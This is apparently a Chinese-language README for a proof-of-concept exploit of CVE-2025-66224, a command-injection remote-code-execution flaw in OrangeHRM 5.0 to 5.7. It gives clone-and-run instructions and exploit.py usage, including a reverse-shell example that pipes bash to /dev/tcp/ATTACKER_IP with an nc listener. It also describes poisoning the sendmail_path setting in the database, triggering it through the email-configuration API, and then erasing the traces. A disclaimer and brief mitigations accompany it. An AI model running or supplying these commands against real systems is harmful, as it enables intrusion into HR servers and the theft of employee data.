OrangeHRM RCE 最新漏洞利用 - CVE-2025-66224

📋 描述

该概念验证(PoC)通过配置参数中的命令注入,展示了OrangeHRM中的远程代码执行(RCE)漏洞。sendmail_path

该漏洞的工作原理是:

  1. 向MySQL数据库(表)注入恶意负载hs_hr_config

  2. 通过电子邮件配置API端点触发负载执行

  3. 自动恢复原始值以清理走线

🎯 受影响版本

  • OrangeHRM 版本 5.0 至 5.7

⚠️免责声明

该工具仅供教育和授权安全测试目的。未经授权访问计算机系统是非法的。作者不对该工具造成的任何滥用或损害负责。

🔧 要求

复制代码
复制代码

pip install requests mysql-connector-python

📦 安装

复制代码
复制代码

git clone https://github.com/richard-natan/PoC-CVE-2025-66224 cd PoC-CVE-2025-66224 pip install -r requirements.txt

🚀 用途

步骤1:获取会话Cookie

  1. 通过网页界面登录OrangeHRM

  2. 打开浏览器开发者工具(F12)

  3. 访问存储>Cookies(Firefox)或应用>Cookies(Chrome)

  4. 复制cookie值_orangehrm

步骤2:运行漏洞

复制代码
复制代码

python3 exploit.py -t <TARGET_URL> -c <COOKIE_VALUE> \ -dh <MYSQL_HOST> -du <MYSQL_USER> -dp <MYSQL_PASSWORD> \ -cmd '<COMMAND_TO_EXECUTE>'

示例 - 简单命令

复制代码
复制代码

python3 exploit.py -t http://127.0.0.1:8080/ \ -c "g58tak8pbnheseatv6dggvi31i" \ -dh 172.18.0.2 \ -du orange_user \ -dp orange_password \ -cmd "touch /tmp/pwned"

示例 - 反向壳

复制代码
复制代码

Start listener on attacker machine nc -lvnp 4444 # Execute exploit with reverse shell payload python3 exploit.py -t http://target.com/ \ -c "your_session_cookie" \ -dh 172.18.0.2 \ -du orange_user \ -dp orange_password \ -cmd 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'

📝 参数

参数 短篇 必填 描述
--target -t ✅ 目标URL(例如,http://target.com)
--cookie -c ✅ 会话 Cookie 值
--cookie_name -cn ❌ Cookie 名称(默认:_orangehrm)
--command -cmd ✅ 执行目标命令
--db_host -dh ✅ MySQL 主机地址
--db_user -du ✅ MySQL 用户名
--db_pass -dp ✅ MySQL 密码
--db_port -dport ❌ MySQL移植版(默认:3306)

🔍 工作原理

漏洞详情

漏洞存在于邮件配置功能中,参数存储在数据库中,之后在未经过适当净化的情况下执行。sendmail_path

开发流程:

复制代码
复制代码
  1. Authenticate to OrangeHRM (obtain valid session cookie) ↓ 2. Connect to MySQL database ↓ 3. Locate hs_hr_config table ↓ 4. Update email_config.sendmail_path value: FROM: /usr/sbin/sendmail -bs TO: /usr/sbin/sendmail -bs && <PAYLOAD> # ↓ 5. Trigger execution via API: PUT /web/index.php/api/v2/admin/email-configuration ↓ 6. Command executes on server ↓ 7. Restore original value (cleanup)

技术细节

脆弱参数: email_config.sendmail_path

数据库:

  • 表格:hs_hr_config

  • 列:= 'email_config.sendmail_path'name

  • 列:= sendmail 命令路径value

触发终点:

PUT /web/index.php/api/v2/admin/email-configuration

🛡️ 缓解措施

  1. 输入验证:对参数实施严格验证sendmail_path

  2. 逃脱:执行前正确转义 shell 命令

  3. 最低特权:以最小权限运行网页服务器

  4. 更新:为 OrangeHRM 应用最新的安全补丁

🔗 参考文献


⚠️请负责任地使用。检测前务必获得适当授权。

相关推荐
deepseek232 分钟前
SQLite WAL 开了仍报 database is locked?Python 后台任务的事务与幂等修复
数据库·python·sqlite·并发编程·wal
SelectDB8 分钟前
冷热分层速查手册:参数、命令、生效判据与常见失效原因一页看完
大数据·数据库·数据分析
雨落在了我的手上22 分钟前
MySQL数据库基础(9):数据库设计
数据库·mysql
SelectDB24 分钟前
Doris 日志检索与聚合速查:索引参数、MATCH 写法和验收清单
大数据·数据库·数据分析
zcn12625 分钟前
union与in结合用法优化
数据库·sql优化改写
砚凝霜42 分钟前
【软考信息安全】第二十章 数据库安全机制与主流数据库防护
数据库
wdfk_prog1 小时前
LWIP教程 10:从 `tcp_receive()` 到 `ooseq` / SACK——TCP 乱序、重组与选择确认
网络·数据库·tcp/ip
狼与自由1 小时前
Mysql 3种日志的区别
数据库·mysql
linweidong1 小时前
Redis 集群故障排查与修复实战:从 Connection refused 到内存打满的七个现场
运维·数据库·redis·缓存·redis集群·运维面经·实施面经
StackTraces1 小时前
从零跑通 Meilisearch 本地搜索服务:6 步,外加 4 个容易卡住的地方
数据库·后端